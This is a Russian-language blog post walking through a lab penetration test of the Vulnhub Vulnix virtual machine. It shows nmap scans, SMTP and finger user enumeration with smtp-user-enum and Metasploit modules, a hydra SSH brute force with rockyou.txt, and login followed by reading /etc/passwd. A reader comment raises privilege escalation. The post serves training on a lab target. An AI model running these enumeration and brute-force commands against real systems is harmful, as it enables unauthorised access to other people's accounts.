Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь примером взлома уязвимой ОС Vulnix и энумерацией порта/сокета/службы smtp. После чего опять же пример брутфорса паролей
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
В данной статье, я атаковал (взламывал) систему запущенную виртуально на собственном компьютере, в собственной локальной сети, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я всего лишь делюсь опытом пентеста уязвимой виртуальной машины
Алгоритм атаки будет следующий:
Скачивание образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса
Сканирование цели
Энумерация сервисов smtp и finger
Брутфорс ssh цели и получение доступа к системе
Итак приступим к практике
1) Скачивание образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса
Найти и скачать образ уязвимой виртуальной машины можно на официальном сайте - Vulnhub https://www.vulnhub.com.
В качестве атакующей ОС я использовал Linux Mint (с некоторыми специальными программами, предустановленными мной). Кроме того, так как мы используем образ под virtualbox, должна быть установлена данная программа. Программы которые я использовал для пентеста с открытым исходным кодом и доступны для Linux Mint и Debian-подобных дистрибутивов - nmap, smtp-user-enum, msfconsole (metasploit-framework), finger, wget, hydra, ssh
После скачивания, файл с расширением vdmk необходимо запустить в VirtualBox. В одной из прошлых статей (https://habr.com/ru/articles/900414/) я описывал как это делать. Напомню: создаем новую виртуальную машину (я так и назвал Vulnix), Linux 64bit, во втором окне ничего не меняем, в третьем окне выбираем виртуальный жесткий диск и выбираем данный файл.

Важно! Зайти в настройки системы, в сетевые настройки, после чего необходимо присвоить системе тот же сетевой интерфейс, что и атакующая ОС. То есть, атакующий и атакуемый должен находиться в том же сетевом интерфейсе. Поскольку я комутирую свое устройство через usb-модем, то и для машины выставляю тот же сетевой мост


После чего запускаю систему

После чего открываю терминал и узнаю сетевые интерфейсы командой
ifconfig

Очевидно, что диапазон ip адресов (где и находится атакующая ОС и атакуемая) сетевого интерфейса находится на 192.168.13...
Сканируем nmap весь диапазон командой
nmap 192.168.13.1-255

Очевидно, что уязвимая ОС находится по адресу (ip) 192.168.13.79
2) Сканирование цели
Сканируем цель, но уже более подробно nmap-ом
nmap -sV -p- 192.168.13.79

80-й порт закрыт. Однако открыты 25 и 79 порты - службы smpt и finger. SMTP (Simple Mail Transfer Protocol) — это протокол, используемый для отправки электронной почты через интернет. Finger — это сетевой протокол, который используется для получения информации о пользователях на удаленных системах, и некоторой другой информации.
Очевидно, что для службы smtp имеются зарегистрированные пользователи. И также для службы finger
3) Энумерация сервисов smtp и finger
Проведем энумерацию пользователей
Для этой задачи хорошо подойдет программа smtp-user-enum
Найти ее можно в репозиториях kali linux - https://kali.download/kali/pool/main/s/smtp-user-enum/

Скачаем ее и установим
wget
https://kali.download/kali/pool/main/s/smtp-user-enum/smtp-user-enum_1.2-1kali4_all.deb
sudo dpkg -i smtp-user-enum_1.2-1kali4_all.deb

После чего можно открыть окно справки
smtp-user-enum
--help
После начинаем энумерацию. Я использовал словарь имен пользователей metasploit (он уже предустановлен, по целевому адресу 192.168.13.79
smtp-user-enum -M VRFY /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt -t 192.168.13.79

Кроме названий служб (вроде bin, daemon, proxy, sshd) обнаружено имя user
Для этой же цели возможно использовать программу metasploit
Ввожу в терминале
msfconsole

В прошлой своей статье (https://habr.com/ru/articles/910472/) я показывал как можно найти эксплоит по уязвимой службе в метасплоит в частности. Найдем эксплоит и применим его. Ввожу
search smtp_enum

Воспользуемся им
use 0
Посмотрим опции
show options
Назначим адрес(а) для атаки
set RHOSTS 192.168.13.79
Проверю опции
show options

Запускаю эксплоит
exploit

Опять же обнаружен пользователь user
Найдем эксплоит энумерации по службе finger
search finger_user

и снова используем его
use 0
Посмотрим опции
show options
Назначим адрес(а) для атаки
set RHOSTS 192.168.13.79

эксплоит
exploit

И на службе finger имеется пользователь user
Запросим информацию о пользователях по целевому хосту командой finger
finger bin@192.168.13.79
finger proxy@192.168.13.79
finger user@192.168.13.79
finger root@192.168.13.79
finger daemon@192.168.13.79

Очевидно, что у пользователя user имеется директория /home/user
Теперь можно начинать брутфорс атаку
4) Брутфорс ssh цели и получение доступа к системе
Я использовал для брутфорса программу hydra (она была предустановлена мной) и словарь rockyou.txt (он был скачан у меня). Использую команду в терминале:
hydra -l user -P rockyou.txt ssh://192.168.13.79 -t 4
Тут важно запастись терпением и вычислительной мощностью, так как этот процесс не быстрый. На моем "железе" (AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx, 6 Гигабайт "оперативы") процесс шел 17 минут

Программа подобрала пароль letmein. Все что осталось - получить доступ к системе через ssh
Ввожу в терминале
ssh user@192.168.13.79
и ввожу пароль letmein

Доступ получен!
Сразу же проверяю текущую директорию и ее содержимое
pwd
ls
И вывожу в терминале содержимое файла /etc/passwd
cat /etc/passwd

И заодно проверяю id пользователя в системе
id

Таким образом, я просканировал сервер (локальный конечно же) обнаружил уязвимость в одной из почтовых служб/протоколов, провел энумерацию пользователей (возможных) данной службы. Использовал эти данные для брутфорса и получил доступ к системе для одного из пользователей.
А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!
Dzzzen
Несколько вопросов:
Почему в дисклеймере не упомянута ст. 274.1 УК РФ? Там ответственность более серьезная, чем у перечисленных в статье.
Уже в которой статье вы сканируете машины nmap-ом, но всегда сканируете только tcp-порты, без udp. А также почему не используете скрипты, типа vulners.nse?
Почему то в большинстве статей выводите содержимое файла /etc/passwd, доступного обычному пользователю. А где /etc/shadow через LPE?